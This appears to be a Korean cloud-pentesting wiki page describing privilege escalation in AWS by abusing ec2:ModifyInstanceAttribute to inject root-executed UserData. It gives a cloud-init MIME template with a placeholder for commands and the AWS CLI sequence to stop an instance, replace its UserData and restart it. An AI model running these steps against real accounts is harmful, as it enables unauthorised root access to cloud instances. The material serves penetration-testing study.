ModifyInstanceAttributepending
EC2 UserData는 인스턴스가 시작될 때 자동으로 실행되도록 스크립트를 설정할 수 있는 기능입니다.

해당 데이터에 입력된 명령은 루트 권한으로 실행되기 때문에, 인스턴스에 대해 수정 권한이 있는 일반 사용자 계정 제어권을 탈취한 상황에서 사용 가능한 권한 상승 기법입니다.
Abuse
Demo

References
Last updated
EC2 UserData는 인스턴스가 시작될 때 자동으로 실행되도록 스크립트를 설정할 수 있는 기능입니다.

해당 데이터에 입력된 명령은 루트 권한으로 실행되기 때문에, 인스턴스에 대해 수정 권한이 있는 일반 사용자 계정 제어권을 탈취한 상황에서 사용 가능한 권한 상승 기법입니다.

Last updated
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
*** commands here ***
--//
command# UserData 파일 생성 후 base64 인코딩
base64 file.txt > file.b64.txt
# 인스턴스 중지
aws ec2 stop-instances --instance-id '<instance-id>'
# 인스턴스 UserData 항목에 file.b64.txt 파일 삽입
aws ec2 modify-instance-attribute --instance-id='<instance-id>' --attribute userData --value file://file.b64.txt
# 인스턴스 시작
aws ec2 start-instances --instance-id '<instance-id>'